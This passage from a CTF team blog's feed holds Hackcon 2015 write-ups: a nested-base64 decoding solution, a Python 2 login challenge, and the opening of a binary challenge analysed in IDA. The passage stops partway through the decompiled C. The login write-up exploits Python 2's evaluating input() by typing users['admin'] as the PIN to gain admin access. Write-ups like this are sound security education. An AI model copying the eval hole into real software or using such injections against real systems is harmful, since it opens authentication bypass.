&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;final_strength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# for a number of times rounds*strength,
# replace message with its encoding (nested encoding)
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rounds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rounds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# encode MESSAGE with 29 * final_strength passes of base64
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MESSAGE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;final_strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So we are dealing with multiple passes of base64. The easiest way is to read the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message.txt&lt;/code&gt; and iterate a base64 decoding, until an exception is raised (meaning that the string is no longer in base64, so it is the original string).&lt;/p&gt;

&lt;p&gt;We created &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/decode.py&quot;&gt;this python script&lt;/a&gt; in order to do that:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'base64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'message.txt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The result is the following string: &lt;a href=&quot;https://xkcd.com/936/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xkcd.com/936/&lt;/code&gt;&lt;/a&gt;, which is:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://imgs.xkcd.com/comics/password_strength.png&quot; alt=&quot;password strength&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So we tried the super-famous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;correcthorsebatterystaple&lt;/code&gt; as the flag but it didn’t work. The other one was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tr0ub4dor&amp;amp;3&lt;/code&gt; and it worked, so this is our flag.&lt;/p&gt;

</description>
        <pubDate>Thu, 20 Aug 2015 21:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/hackcon2015/2015/08/20/pythonista.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/hackcon2015/2015/08/20/pythonista.html</guid>
        
        <category>ctf</category>
        
        <category>pwn</category>
        
        
        <category>hackcon2015</category>
        
      </item>
    
      <item>
        <title>Hackcon 2015: Making Love To Bugs</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;pwn&lt;/em&gt; - Points: &lt;em&gt;25&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;Get your flag &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/ilovebugs.pyc&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The task comes with the file &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/ilovebugs.pyc&quot;&gt;ilovebugs.pyc&lt;/a&gt; which is a compiled python file. We can decompile it using the &lt;a href=&quot;https://pypi.python.org/pypi/uncompyle2&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uncompyle2&lt;/code&gt;&lt;/a&gt; package.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uncompyle2 --py -o . ilovebugs.pyc
+++ okay decompyling ilovebugs.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we can now check the content of &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/ilovebugs.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ilovebugs.py&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&amp;lt;REDACTED&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'User already exits.'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Registered Successfully.'&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Wrong pin/password'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Wrong pin/password'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'The FLAG is what you entered in the &quot;Pin&quot; field to get here!'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'You must login as admin to get the flag'&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;handle_command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'REG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'LOGIN'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Invalid Command!'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Username:'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;raw_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Pin ([0-9]+):'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Please enter a valid password. Pin can only contain digits.'&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'REG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'LOGIN'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Hey welcome to the admin panel'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Commands: REG, LOGIN'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;raw_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handle_command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The PIN should be in the form &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0-9]+&lt;/code&gt; and in order to enforce that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;input&lt;/code&gt; function is used. By the way, in python 2.x the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;input&lt;/code&gt; function &lt;strong&gt;evaluates&lt;/strong&gt; the input. Since the admin password can be retrieved as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users['admin']&lt;/code&gt;, when we pass that exact string as PIN, python evaluates it for us, and stores the correct admin password in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password&lt;/code&gt; variable, allowing the login.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python ilovebugs.py
Hey welcome to the admin panel
Commands: REG, LOGIN
&amp;gt; LOGIN
Username: admin
Pin ([0-9]+): users['admin']
The FLAG is what you entered in the &quot;Pin&quot; field to get here!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users['admin']&lt;/code&gt;.&lt;/p&gt;
</description>
        <pubDate>Thu, 20 Aug 2015 20:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/hackcon2015/2015/08/20/making-love-to-bugs.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/hackcon2015/2015/08/20/making-love-to-bugs.html</guid>
        
        <category>ctf</category>
        
        <category>pwn</category>
        
        
        <category>hackcon2015</category>
        
      </item>
    
      <item>
        <title>Hackcon 2015: Did you mean</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;pwn&lt;/em&gt; - Points: &lt;em&gt;50&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;Pwnie&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The task provides us with the file &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/pwnie&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwnie&lt;/code&gt;&lt;/a&gt; and an ip and address for a webservice.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file pwnie
pwnie: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b87bef02278df740b6c0011e989f39b08ccfc998, not stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try to run it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./pwnie
No!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, sorry. Let’s check the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt;. The only interesting ones are:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;flag.txt
The flag's right!
Did you say:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it seems that the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag.txt&lt;/code&gt; is involved. Let’s create it with content: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ABCDEFGHIJKLMNOP&lt;/code&gt; and run the program again. Now the program waits for our input and if we put again &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ABCDEFGHIJKLMOP&lt;/code&gt; this happens:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./pwnie
ABCDEFGHIJKLMNOP
The flag's right!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, we have to produce some interesting payload, let’s start IDA and decompile the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;. We also added some comment in the code to highlight the important parts.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;flag.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// v7 is the content of v3 (flag.txt)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;// s is the string from the stdin&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strncmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xAuLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
